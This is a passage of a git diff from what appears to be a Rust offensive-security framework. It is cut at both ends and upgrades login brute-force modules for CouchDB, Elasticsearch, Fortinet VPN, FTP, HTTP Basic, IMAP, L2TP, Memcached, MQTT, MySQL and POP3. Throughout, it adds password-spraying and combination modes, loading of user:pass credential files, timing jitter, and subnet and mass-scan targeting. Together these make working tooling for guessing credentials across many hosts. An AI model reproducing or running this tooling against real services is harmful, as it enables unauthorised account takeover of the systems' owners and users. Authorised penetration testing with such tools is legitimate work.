let auth_str = BASE64_STANDARD.encode(format!("{}:{}", user, pass));
let request = format!(
"OPTIONS rtsp://{}:{}/ RTSP/1.0\r\nAuthorization: Basic {}\r\nCSeq: 1\r\n\r\n",
@@ -4,7 +4,8 @@ use reqwest::ClientBuilder;
use std::{io::Write, net::IpAddr, sync::Arc, time::Duration};
use crate::modules::creds::utils::{
generate_combos, is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
generate_combos_mode, parse_combo_mode, load_credential_file,
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
};
use crate::utils::{
@@ -210,6 +211,7 @@ pub async fn run(target: &str) -> Result<()> {
verbose,
output_file,
service_name: "couchdb",
jitter_ms: 0,
source_module: "creds/generic/couchdb_bruteforce",
skip_tcp_check: false,
},
@@ -289,12 +291,7 @@ pub async fn run(target: &str) -> Result<()> {
None
};
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let combo_mode = cfg_prompt_yes_no(
"combo_mode",
"Combination mode? (try every pass with every user)",
false,
)
.await?;
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
let normalized = normalize_target(target)?;
let connect_addr = format!("{}:{}", normalized, port);
@@ -358,7 +355,11 @@ pub async fn run(target: &str) -> Result<()> {
return Err(anyhow!("No passwords available"));
}
let combos = generate_combos(&usernames, &passwords, combo_mode);
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
combos.extend(load_credential_file(&cred_path)?);
}
let timeout_duration = Duration::from_secs(connection_timeout);
let try_login = move |t: String, p: u16, user: String, pass: String| {
@@ -386,6 +387,7 @@ pub async fn run(target: &str) -> Result<()> {
delay_ms: 0,
max_retries,
service_name: "couchdb",
jitter_ms: 0,
source_module: "creds/generic/couchdb_bruteforce",
},
combos,
@@ -4,7 +4,8 @@ use reqwest::ClientBuilder;
use std::{io::Write, net::IpAddr, sync::Arc, time::Duration};
use crate::modules::creds::utils::{
generate_combos, is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
generate_combos_mode, parse_combo_mode, load_credential_file,
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
};
use crate::utils::{
@@ -203,6 +204,7 @@ pub async fn run(target: &str) -> Result<()> {
verbose,
output_file,
service_name: "elasticsearch",
jitter_ms: 0,
source_module: "creds/generic/elasticsearch_bruteforce",
skip_tcp_check: false,
},
@@ -286,12 +288,7 @@ pub async fn run(target: &str) -> Result<()> {
None
};
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let combo_mode = cfg_prompt_yes_no(
"combo_mode",
"Combination mode? (try every pass with every user)",
false,
)
.await?;
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
let normalized = normalize_target(target)?;
let connect_addr = format!("{}:{}", normalized, port);
@@ -355,7 +352,11 @@ pub async fn run(target: &str) -> Result<()> {
return Err(anyhow!("No passwords available"));
}
let combos = generate_combos(&usernames, &passwords, combo_mode);
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
combos.extend(load_credential_file(&cred_path)?);
}
let timeout_duration = Duration::from_secs(connection_timeout);
let try_login = move |t: String, p: u16, user: String, pass: String| {
@@ -383,6 +384,7 @@ pub async fn run(target: &str) -> Result<()> {
delay_ms: 0,
max_retries,
service_name: "elasticsearch",
jitter_ms: 0,
source_module: "creds/generic/elasticsearch_bruteforce",
},
combos,
@@ -1,5 +1,6 @@
use crate::modules::creds::utils::{
generate_combos, is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
generate_combos_mode, parse_combo_mode, load_credential_file,
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
};
use crate::utils::{
@@ -8,7 +9,7 @@ use crate::utils::{
};
use anyhow::{anyhow, Result};
use colored::*;
use once_cell::sync::Lazy;
use std::sync::LazyLock as Lazy;
use regex::Regex;
use reqwest::{redirect::Policy, ClientBuilder};
use std::{io::Write, net::IpAddr, time::Duration};
@@ -146,6 +147,7 @@ pub async fn run(target: &str) -> Result<()> {
verbose,
output_file,
service_name: "fortinet-vpn",
jitter_ms: 0,
source_module: "creds/generic/fortinet_bruteforce",
skip_tcp_check: false,
},
@@ -239,12 +241,7 @@ pub async fn run(target: &str) -> Result<()> {
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
// Combo mode
let combo_mode = cfg_prompt_yes_no(
"combo_mode",
"Combination mode? (try every password with every user)",
false,
)
.await?;
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
// Load wordlists
let users = load_lines(&usernames_file)?;
@@ -265,7 +262,11 @@ pub async fn run(target: &str) -> Result<()> {
format!("[*] Loaded {} passwords", passwords.len()).green()
);
let combos = generate_combos(&users, &passwords, combo_mode);
let mut combos = generate_combos_mode(&users, &passwords, parse_combo_mode(&combo_input));
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
combos.extend(load_credential_file(&cred_path)?);
}
let timeout_duration = Duration::from_secs(connection_timeout);
let normalized = normalize_target(target)?;
@@ -307,6 +308,7 @@ pub async fn run(target: &str) -> Result<()> {
delay_ms: 100,
max_retries: 2,
service_name: "fortinet-vpn",
jitter_ms: 0,
source_module: "creds/generic/fortinet_bruteforce",
},
combos,
+21 -8
View File
@@ -9,12 +9,13 @@ use std::{
use tokio::time::{sleep, timeout};
use crate::utils::{
cfg_prompt_port, cfg_prompt_existing_file, cfg_prompt_int_range,
cfg_prompt_default, cfg_prompt_port, cfg_prompt_existing_file, cfg_prompt_int_range,
cfg_prompt_yes_no, cfg_prompt_output_file, load_lines,
};
use crate::modules::creds::utils::{
BruteforceConfig, LoginResult, SubnetScanConfig,
generate_combos, run_bruteforce, run_subnet_bruteforce,
generate_combos_mode, parse_combo_mode, load_credential_file,
run_bruteforce, run_subnet_bruteforce,
is_subnet_target, is_mass_scan_target, run_mass_scan, MassScanConfig,
};
@@ -180,6 +181,7 @@ pub async fn run(target: &str) -> Result<()> {
verbose,
output_file,
service_name: "ftp",
jitter_ms: 0,
source_module: "creds/generic/ftp_bruteforce",
skip_tcp_check: false,
}, move |ip: IpAddr, port: u16, user: String, pass: String| {
@@ -212,7 +214,7 @@ pub async fn run(target: &str) -> Result<()> {
None
};
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let combo_mode = cfg_prompt_yes_no("combo_mode", "Combination mode (user × pass)?", false).await?;
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
let users = load_lines(&usernames_file)?;
if users.is_empty() {
@@ -228,7 +230,11 @@ pub async fn run(target: &str) -> Result<()> {
}
crate::mprintln!("{}", format!("[*] Loaded {} passwords", passes.len()).cyan());
let combos = generate_combos(&users, &passes, combo_mode);
let mut combos = generate_combos_mode(&users, &passes, parse_combo_mode(&combo_input));
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
combos.extend(load_credential_file(&cred_path)?);
}
// Capture verbose in the closure for try_ftp_login
let target_owned = target.to_string();
@@ -247,15 +253,19 @@ pub async fn run(target: &str) -> Result<()> {
}
};
let delay_ms = cfg_prompt_int_range("delay_ms", "Delay between attempts (ms)", 0, 0, 10000).await? as u64;
let max_retries = cfg_prompt_int_range("max_retries", "Max retries on error", 3, 0, 10).await? as usize;
let result = run_bruteforce(&BruteforceConfig {
target: target_owned,
port,
concurrency,
stop_on_success,
verbose,
delay_ms: 0,
max_retries: 3,
delay_ms: delay_ms,
max_retries: max_retries,
service_name: "ftp",
jitter_ms: 0,
source_module: "creds/generic/ftp_bruteforce",
}, combos, try_login).await?;
@@ -268,7 +278,7 @@ pub async fn run(target: &str) -> Result<()> {
}
/// Try FTP login with FTPS fallback when TLS is required.
async fn try_ftp_login(addr: &str, target: &str, user: &str, pass: &str, _verbose: bool) -> Result<bool> {
async fn try_ftp_login(addr: &str, target: &str, user: &str, pass: &str, verbose: bool) -> Result<bool> {
// Attempt plain FTP
match timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), AsyncFtpStream::connect(addr)).await {
Ok(Ok(mut ftp)) => {
@@ -284,7 +294,7 @@ async fn try_ftp_login(addr: &str, target: &str, user: &str, pass: &str, _verbos
FtpErrorType::TlsRequired => { if let Err(e) = ftp.quit().await { crate::meprintln!("[!] FTP quit error: {}", e); } }
FtpErrorType::ConnectionLimitExceeded => {
sleep(Duration::from_secs(1)).await;
return Ok(false);
return Err(anyhow!("Connection limit exceeded (421)"));
}
_ => return Err(anyhow!("FTP login error: {}", msg)),
}
@@ -296,6 +306,9 @@ async fn try_ftp_login(addr: &str, target: &str, user: &str, pass: &str, _verbos
}
// FTPS fallback
if verbose {
crate::mprintln!(" [v] {} — trying FTPS (TLS)...", addr);
}
let mut ftp_tls = match timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), AsyncNativeTlsFtpStream::connect(addr)).await {
Ok(Ok(s)) => s,
_ => return Err(anyhow!("FTPS Connect failed")),
@@ -2,6 +2,7 @@ use anyhow::{anyhow, Result};
use colored::*;
use std::io::Write;
use std::net::IpAddr;
use std::sync::Arc;
use std::time::Duration;
use crate::utils::{
@@ -11,7 +12,8 @@ use crate::utils::{
};
use crate::modules::creds::utils::{
BruteforceConfig, LoginResult, SubnetScanConfig,
generate_combos, run_bruteforce, run_subnet_bruteforce,
generate_combos_mode, parse_combo_mode, load_credential_file,
run_bruteforce, run_subnet_bruteforce,
is_subnet_target, is_mass_scan_target, run_mass_scan, MassScanConfig,
};
@@ -237,19 +239,28 @@ pub async fn run(target: &str) -> Result<()> {
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let output_file = cfg_prompt_output_file("output_file", "Output result file", "http_basic_subnet_results.txt").await?;
let subnet_client = Arc::new(reqwest::Client::builder()
.danger_accept_invalid_certs(true)
.redirect(reqwest::redirect::Policy::none())
.timeout(Duration::from_secs(5))
.build()
.map_err(|e| anyhow!("Failed to build HTTP client: {}", e))?);
return run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
concurrency,
verbose,
output_file,
service_name: "http-basic",
jitter_ms: 0,
source_module: "creds/generic/http_basic_bruteforce",
skip_tcp_check: false,
}, move |ip: IpAddr, port: u16, user: String, pass: String| {
let url_path = url_path.clone();
let client = Arc::clone(&subnet_client);
async move {
let scheme = if use_https { "https" } else { "http" };
let url = format!("{}://{}:{}{}", scheme, ip, port, url_path);
match try_http_login(&url, &user, &pass, Duration::from_secs(5)).await {
match try_http_login(&client, &url, &user, &pass).await {
Ok(true) => LoginResult::Success,
Ok(false) => LoginResult::AuthFailed,
Err(e) => {
@@ -304,7 +315,7 @@ pub async fn run(target: &str) -> Result<()> {
None
};
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let combo_mode = cfg_prompt_yes_no("combo_mode", "Combination mode? (try every pass with every user)", false).await?;
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
let scheme = if use_https { "https" } else { "http" };
let base_url = format!("{}://{}:{}{}", scheme, target, port, url_path);
@@ -354,14 +365,24 @@ pub async fn run(target: &str) -> Result<()> {
return Err(anyhow!("No passwords available"));
}
let combos = generate_combos(&usernames, &passwords, combo_mode);
let timeout_duration = Duration::from_secs(connection_timeout);
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
combos.extend(load_credential_file(&cred_path)?);
}
let shared_client = Arc::new(reqwest::Client::builder()
.danger_accept_invalid_certs(true)
.redirect(reqwest::redirect::Policy::none())
.timeout(Duration::from_secs(connection_timeout))
.build()
.map_err(|e| anyhow!("Failed to build HTTP client: {}", e))?);
let try_login = move |_t: String, _p: u16, user: String, pass: String| {
let url = base_url.clone();
let timeout_dur = timeout_duration;
let client = Arc::clone(&shared_client);
async move {
match try_http_login(&url, &user, &pass, timeout_dur).await {
match try_http_login(&client, &url, &user, &pass).await {
Ok(true) => LoginResult::Success,
Ok(false) => LoginResult::AuthFailed,
Err(e) => {
@@ -384,6 +405,7 @@ pub async fn run(target: &str) -> Result<()> {
delay_ms: 0,
max_retries,
service_name: "http-basic",
jitter_ms: 0,
source_module: "creds/generic/http_basic_bruteforce",
}, combos, try_login).await?;
@@ -456,17 +478,11 @@ pub async fn run(target: &str) -> Result<()> {
/// Returns Ok(true) on 200 (success), Ok(false) on 401/403 (auth failed),
/// Err on connection/protocol errors.
async fn try_http_login(
client: &reqwest::Client,
url: &str,
user: &str,
pass: &str,
timeout_duration: Duration,
) -> Result<bool> {
let client = reqwest::Client::builder()
.danger_accept_invalid_certs(true)
.timeout(timeout_duration)
.build()
.map_err(|e| anyhow!("Failed to build HTTP client: {}", e))?;
let response = client
.get(url)
.basic_auth(user, Some(pass))
@@ -478,7 +494,19 @@ async fn try_http_login(
match status {
200..=299 => Ok(true),
401 | 403 => Ok(false),
301 | 302 | 303 | 307 | 308 => Ok(true), // Redirect after auth = success
301 | 302 | 303 | 307 | 308 => {
// Only count redirect as success if it doesn't point to a login/auth page
if let Some(location) = response.headers().get("location") {
let loc = location.to_str().unwrap_or("").to_lowercase();
if loc.contains("login") || loc.contains("auth") || loc.contains("signin") || loc.contains("sso") {
Ok(false) // Redirect to login page = auth failed
} else {
Ok(true) // Redirect to non-login page = likely success
}
} else {
Ok(true) // No location header = treat as success
}
}
_ => Err(anyhow!("HTTP {}", status)),
}
}
+11 -4
View File
@@ -7,12 +7,13 @@ use std::time::Duration;
use crate::utils::{
load_lines, get_filename_in_current_dir,
cfg_prompt_yes_no, cfg_prompt_existing_file, cfg_prompt_int_range,
cfg_prompt_default, cfg_prompt_yes_no, cfg_prompt_existing_file, cfg_prompt_int_range,
cfg_prompt_output_file,
};
use crate::modules::creds::utils::{
BruteforceConfig, LoginResult, SubnetScanConfig,
generate_combos, run_bruteforce, run_subnet_bruteforce,
generate_combos_mode, parse_combo_mode, load_credential_file,
run_bruteforce, run_subnet_bruteforce,
is_subnet_target, is_mass_scan_target, run_mass_scan, MassScanConfig,
backoff_delay,
};
@@ -247,6 +248,7 @@ pub async fn run(target: &str) -> Result<()> {
verbose,
output_file,
service_name: "imap",
jitter_ms: 0,
source_module: "creds/generic/imap_bruteforce",
skip_tcp_check: false,
}, move |ip: IpAddr, port: u16, user: String, pass: String| {
@@ -310,7 +312,7 @@ pub async fn run(target: &str) -> Result<()> {
None
};
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let combo_mode = cfg_prompt_yes_no("combo_mode", "Combination mode? (try every pass with every user)", false).await?;
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
crate::mprintln!("\n{}", format!("[*] Starting brute-force on {}:{}", target, port).cyan());
@@ -355,7 +357,11 @@ pub async fn run(target: &str) -> Result<()> {
return Err(anyhow!("No passwords available"));
}
let combos = generate_combos(&usernames, &passwords, combo_mode);
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
combos.extend(load_credential_file(&cred_path)?);
}
let try_login = move |t: String, p: u16, user: String, pass: String| {
async move {
@@ -386,6 +392,7 @@ pub async fn run(target: &str) -> Result<()> {
delay_ms: 0,
max_retries,
service_name: "imap",
jitter_ms: 0,
source_module: "creds/generic/imap_bruteforce",
}, combos, try_login).await?;
+10 -8
View File
@@ -3,7 +3,8 @@ use colored::*;
use std::{io::Write, net::UdpSocket, time::Duration};
use crate::modules::creds::utils::{
generate_combos, is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
generate_combos_mode, parse_combo_mode, load_credential_file,
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
};
use crate::utils::{
@@ -424,12 +425,7 @@ pub async fn run(target: &str) -> Result<()> {
None
};
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let combo_mode = cfg_prompt_yes_no(
"combo_mode",
"Combination mode? (try every password with every user)",
false,
)
.await?;
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
let normalized = normalize_target(target)?;
@@ -467,7 +463,11 @@ pub async fn run(target: &str) -> Result<()> {
),
}
let combos = generate_combos(&users, &passwords, combo_mode);
let mut combos = generate_combos_mode(&users, &passwords, parse_combo_mode(&combo_input));
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
combos.extend(load_credential_file(&cred_path)?);
}
let timeout_duration = Duration::from_millis(timeout_ms);
crate::mprintln!(
@@ -508,6 +508,7 @@ pub async fn run(target: &str) -> Result<()> {
delay_ms: 0,
max_retries: 2,
service_name: "l2tp",
jitter_ms: 0,
source_module: "creds/generic/l2tp_bruteforce",
},
combos,
@@ -634,6 +635,7 @@ async fn run_l2tp_subnet_scan(target: &str) -> Result<()> {
verbose,
output_file,
service_name: "l2tp",
jitter_ms: 0,
source_module: "creds/generic/l2tp_bruteforce",
skip_tcp_check: true, // L2TP is UDP — no TCP pre-check
},
@@ -3,12 +3,12 @@ use colored::*;
use std::{io::Write, net::IpAddr, time::Duration};
use tokio::{
io::{AsyncReadExt, AsyncWriteExt},
net::TcpStream,
time::timeout,
};
use crate::modules::creds::utils::{
generate_combos, is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
generate_combos_mode, parse_combo_mode, load_credential_file,
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
};
use crate::utils::{
@@ -99,8 +99,8 @@ pub async fn run(target: &str) -> Result<()> {
let read_timeout = Duration::from_secs(3);
// Try to connect and send version command
let mut stream = match timeout(connect_timeout, TcpStream::connect(&addr)).await {
Ok(Ok(s)) => s,
let mut stream = match crate::utils::network::tcp_connect(&addr, connect_timeout).await {
Ok(s) => s,
_ => return None,
};
@@ -236,6 +236,7 @@ pub async fn run(target: &str) -> Result<()> {
verbose,
output_file,
service_name: "memcached",
jitter_ms: 0,
source_module: "creds/generic/memcached_bruteforce",
skip_tcp_check: false,
},
@@ -386,12 +387,7 @@ pub async fn run(target: &str) -> Result<()> {
None
};
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let combo_mode = cfg_prompt_yes_no(
"combo_mode",
"Combination mode? (try every pass with every user)",
false,
)
.await?;
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
// Load wordlists
let mut usernames = Vec::new();
@@ -447,7 +443,11 @@ pub async fn run(target: &str) -> Result<()> {
return Err(anyhow!("No passwords available"));
}
let combos = generate_combos(&usernames, &passwords, combo_mode);
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
combos.extend(load_credential_file(&cred_path)?);
}
let ct = Duration::from_secs(connection_timeout);
let rt = Duration::from_millis(READ_TIMEOUT_MS);
@@ -478,6 +478,7 @@ pub async fn run(target: &str) -> Result<()> {
delay_ms: 0,
max_retries,
service_name: "memcached",
jitter_ms: 0,
source_module: "creds/generic/memcached_bruteforce",
},
combos,
@@ -572,10 +573,9 @@ async fn check_memcached_open(
connect_timeout: Duration,
read_timeout: Duration,
) -> MemcachedStatus {
let mut stream = match timeout(connect_timeout, TcpStream::connect(addr)).await {
Ok(Ok(s)) => s,
Ok(Err(e)) => return MemcachedStatus::Unreachable(e.to_string()),
Err(_) => return MemcachedStatus::Unreachable("Connection timeout".to_string()),
let mut stream = match crate::utils::network::tcp_connect(addr, connect_timeout).await {
Ok(s) => s,
Err(e) => return MemcachedStatus::Unreachable(e.to_string()),
};
// Send text protocol "version" command
@@ -678,16 +678,15 @@ async fn try_memcached_sasl(
connect_timeout: Duration,
read_timeout: Duration,
) -> Result<bool> {
let mut stream = match timeout(connect_timeout, TcpStream::connect(addr)).await {
Ok(Ok(s)) => s,
Ok(Err(e)) => {
let mut stream = match crate::utils::network::tcp_connect(addr, connect_timeout).await {
Ok(s) => s,
Err(e) => {
let err_str = e.to_string();
if err_str.contains("Connection refused") || err_str.contains("connect") {
return Err(anyhow!("Connection refused: {}", err_str));
}
return Err(anyhow!("Connection error: {}", err_str));
}
Err(_) => return Err(anyhow!("Connection timeout")),
};
let packet = build_sasl_auth_packet(username, password);
+1
View File
@@ -25,3 +25,4 @@
pub mod elasticsearch_bruteforce;
pub mod couchdb_bruteforce;
pub mod memcached_bruteforce;
pub mod proxy_bruteforce;
+13 -14
View File
@@ -13,10 +13,10 @@ use std::io::Write;
use std::net::IpAddr;
use std::time::Duration;
use tokio::io::{AsyncRead, AsyncReadExt, AsyncWrite, AsyncWriteExt};
use tokio::net::TcpStream;
use crate::modules::creds::utils::{
generate_combos, is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
generate_combos_mode, parse_combo_mode, load_credential_file,
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
};
use crate::utils::{
@@ -244,6 +244,7 @@ pub async fn run(target: &str) -> Result<()> {
verbose,
output_file,
service_name: "mqtt",
jitter_ms: 0,
source_module: "creds/generic/mqtt_bruteforce",
skip_tcp_check: false,
},
@@ -325,8 +326,7 @@ pub async fn run(target: &str) -> Result<()> {
let verbose = cfg_prompt_yes_no("verbose", "Verbose output?", false).await?;
// Combo mode
let combo_mode =
cfg_prompt_yes_no("combo_mode", "Full combination mode (user x pass)?", false).await?;
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
// Load wordlists
let usernames = load_lines(&username_wordlist)?;
@@ -397,7 +397,11 @@ pub async fn run(target: &str) -> Result<()> {
}
// Generate credential combos
let combos = generate_combos(&usernames, &passwords, combo_mode);
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
combos.extend(load_credential_file(&cred_path)?);
}
// Build the try_login closure capturing MQTT-specific config
let try_login = move |_target: String, _port: u16, user: String, pass: String| {
@@ -429,6 +433,7 @@ pub async fn run(target: &str) -> Result<()> {
delay_ms: 0,
max_retries: 3,
service_name: "mqtt",
jitter_ms: 0,
source_module: "creds/generic/mqtt_bruteforce",
},
combos,
@@ -536,15 +541,9 @@ async fn try_mqtt_auth(
use_tls: bool,
) -> AttackResult {
// Connect with timeout
let stream = match tokio::time::timeout(
Duration::from_millis(MQTT_CONNECT_TIMEOUT_MS),
TcpStream::connect(addr),
)
.await
{
Ok(Ok(s)) => s,
Ok(Err(e)) => return AttackResult::ConnectionError(e.to_string()),
Err(_) => return AttackResult::ConnectionError("Connection timeout".to_string()),
let stream = match crate::utils::network::tcp_connect(addr, Duration::from_millis(MQTT_CONNECT_TIMEOUT_MS)).await {
Ok(s) => s,
Err(e) => return AttackResult::ConnectionError(e.to_string()),
};
if use_tls {
+13 -17
View File
@@ -20,7 +20,8 @@ use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use crate::modules::creds::utils::{
generate_combos, is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
generate_combos_mode, parse_combo_mode, load_credential_file,
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
};
use crate::utils::{
@@ -168,6 +169,7 @@ pub async fn run(target: &str) -> Result<()> {
verbose,
output_file,
service_name: "mysql",
jitter_ms: 0,
source_module: "creds/generic/mysql_bruteforce",
skip_tcp_check: false,
},
@@ -232,12 +234,7 @@ pub async fn run(target: &str) -> Result<()> {
None
};
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let combo_mode = cfg_prompt_yes_no(
"combo_mode",
"Combination mode? (try every pass with every user)",
false,
)
.await?;
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
let retry_on_error =
cfg_prompt_yes_no("retry_on_error", "Retry on connection errors?", true).await?;
@@ -298,7 +295,11 @@ pub async fn run(target: &str) -> Result<()> {
return Err(anyhow!("No passwords available"));
}
let combos = generate_combos(&usernames, &passwords, combo_mode);
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
combos.extend(load_credential_file(&cred_path)?);
}
crate::mprintln!(
"\n{}",
@@ -339,6 +340,7 @@ pub async fn run(target: &str) -> Result<()> {
delay_ms: 0,
max_retries,
service_name: "mysql",
jitter_ms: 0,
source_module: "creds/generic/mysql_bruteforce",
},
combos,
@@ -661,15 +663,9 @@ fn build_handshake_response(username: &str, auth_response: &[u8], database: &str
/// Attempt MySQL authentication against a target address.
async fn try_mysql_auth(addr: &str, username: &str, password: &str) -> MysqlResult {
// TCP connect with timeout
let mut stream = match tokio::time::timeout(
Duration::from_millis(CONNECT_TIMEOUT_MS),
TcpStream::connect(addr),
)
.await
{
Ok(Ok(s)) => s,
Ok(Err(e)) => return MysqlResult::ConnectionError(format!("Connect failed: {}", e)),
Err(_) => return MysqlResult::ConnectionError("Connection timeout".to_string()),
let mut stream = match crate::utils::network::tcp_connect(addr, Duration::from_millis(CONNECT_TIMEOUT_MS)).await {
Ok(s) => s,
Err(e) => return MysqlResult::ConnectionError(format!("Connect failed: {}", e)),
};
// Read server greeting (HandshakeV10)
+12 -5
View File
@@ -6,11 +6,12 @@ use std::time::Duration;
use crate::utils::{
load_lines,
cfg_prompt_yes_no, cfg_prompt_existing_file, cfg_prompt_int_range, cfg_prompt_output_file,
cfg_prompt_default, cfg_prompt_yes_no, cfg_prompt_existing_file, cfg_prompt_int_range, cfg_prompt_output_file,
};
use crate::modules::creds::utils::{
BruteforceConfig, LoginResult, SubnetScanConfig,
generate_combos, run_bruteforce, run_subnet_bruteforce,
generate_combos_mode, parse_combo_mode, load_credential_file,
run_bruteforce, run_subnet_bruteforce,
is_subnet_target, is_mass_scan_target, run_mass_scan, MassScanConfig,
backoff_delay,
};
@@ -212,6 +213,7 @@ pub async fn run(target: &str) -> Result<()> {
verbose,
output_file,
service_name: "pop3",
jitter_ms: 0,
source_module: "creds/generic/pop3_bruteforce",
skip_tcp_check: false,
}, move |ip: IpAddr, port: u16, user: String, pass: String| {
@@ -248,7 +250,7 @@ pub async fn run(target: &str) -> Result<()> {
let delay_ms = cfg_prompt_int_range("delay_ms", "Delay (ms)", 50, 0, 10000).await? as u64;
let connection_timeout = cfg_prompt_int_range("timeout", "Timeout (s)", 5, 1, 60).await? as u64;
let full_combo = cfg_prompt_yes_no("combo_mode", "Try every username with every password?", false).await?;
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
let stop_on_success = cfg_prompt_yes_no("stop_on_success", "Stop on first valid login?", false).await?;
let output_file = cfg_prompt_output_file("output_file", "Output file for results", "pop3_results.txt").await?;
@@ -269,7 +271,11 @@ pub async fn run(target: &str) -> Result<()> {
crate::mprintln!("[*] Loaded {} usernames, {} passwords", usernames.len(), passwords.len());
let combos = generate_combos(&usernames, &passwords, full_combo);
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
combos.extend(load_credential_file(&cred_path)?);
}
crate::mprintln!();
crate::mprintln!("{}", "[Starting Attack]".bold().yellow());
@@ -304,6 +310,7 @@ pub async fn run(target: &str) -> Result<()> {
delay_ms,
max_retries,
service_name: "pop3",
jitter_ms: 0,
source_module: "creds/generic/pop3_bruteforce",
}, combos, try_login).await?;
@@ -334,7 +341,7 @@ fn pop3_authenticate(stream: &mut (impl std::io::Read + std::io::Write), user: &
let n = stream.read(&mut buffer).map_err(|e| Pop3Error::from_anyhow(e.into()))?;
if String::from_utf8_lossy(&buffer[..n]).starts_with("+OK") {
if let Err(e) = stream.write_all(b"QUIT\r\n") { crate::meprintln!("[!] POP3 QUIT write error: {}", e); }
